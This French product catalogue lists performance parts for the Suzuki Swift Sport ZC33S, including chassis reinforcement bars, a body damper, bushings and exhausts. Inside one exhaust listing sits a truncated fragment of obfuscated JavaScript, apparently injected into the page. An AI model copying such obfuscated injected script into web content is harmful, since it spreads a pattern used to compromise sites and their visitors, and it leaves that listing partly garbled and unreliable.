pices performances pour Suzuki Swift sport zc33s Hybrid
En connectant le premier élément avant au berceau avec un arbre en aluminium φ32 pour supprimer les mouvements inutiles de l'élément de suspension à l'arrêt et au démarrage, la traction est améliorée et la réponse de la direction à l'entrée d'un virage est améliorée. Renfort Beatrush inferieur avant Swift Sport zc33s Finition anodisée dorée, montage sur...
La barre de renfort du plancher Beat Rush relie le plancher avant entre les cadres gauche et droit pour améliorer la rigidité du corps du plancher et les performances de la suspension. De plus, un arbre ovale en aluminium à section en D léger et très rigide est utilisé pour minimiser l'augmentation de poids. Renfort Beatrush inferieur central Swift Sport...
La barre de performance Beat Rush Floor pour Swift Sport zc33s relie la partie inférieure des montants B gauche et droit (boulons de fixation de la ceinture de sécurité) et la partie centrale du plancher sur une ligne horizontale avec un arbre en aluminium de φ32 mm pour augmenter la rigidité du corps du châssis de Swift Sport. Fixations sur 3 points
La barre d'extrémité du cadre arrière Beat Rush pour Swift Sport ZC33S est dotée d'un support spécial et d'un arbre en aluminium φ32 articulé aux deux extrémités de l'extrémité du cadre du panneau arrière arrière pour améliorer la rigidité et les performances de suspension de la carrosserie arrière du véhicule à hayon.
La barre de pilier arrière Beat Rush pour Swift Sport ZC33s rejoint un arbre en aluminium de φ32 mm en utilisant les boulons de pilier de la ceinture de sécurité arrière pour augmenter la rigidité du corps de l'ouverture du hayon arrière. De plus, l'arbre est conçu pour éviter l'arrière afin de protéger les occupants des sièges arrière.
Amortisseur de corps (body damper) de chez Monster Sport japan pour Suzuki Swift. le principe est d'optimiser le comportement du châssis en appuie et sur chaussée dégradée en absorbant les déformation en flexion de la coque de la Swift. Le kit comprend deux vérins fabriqué par Yamaha Japon avec un kit de montage spécifique a la Swift.
butée d'embrayage Suzuki Swift sport 1.6 ZC32S et 1.4T ZC33S (oui oui c'est la même pour les deux générations) A remplacer lors du changement d'embrayage.
Made to order 45/60 days air shipping from Japan Painted in Silver ZNC suzuki Swift zc33s
Diamètre 50, compatible échappement d'origine ou autre (CTC, HKS etc) Made in Italie. Joints et vis fournis function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const...
En remplaçant la bague en caoutchouc véritable du support de fixation du câble de changement de vitesse côté transmission par une bague en uréthane, la vibration du support lors du changement de vitesse est supprimée et la rigidité est augmentée Côté boite de vitesse.
En remplaçant le silentbloc vraiment mou d'origine par ces silentblocs polyurethane, le guidage du levier devient plus précis et plus rapide.
Echappement homologué Europe diamètre 65mm Avec sorties inox 115mm Ne touche pas au systeme de pollution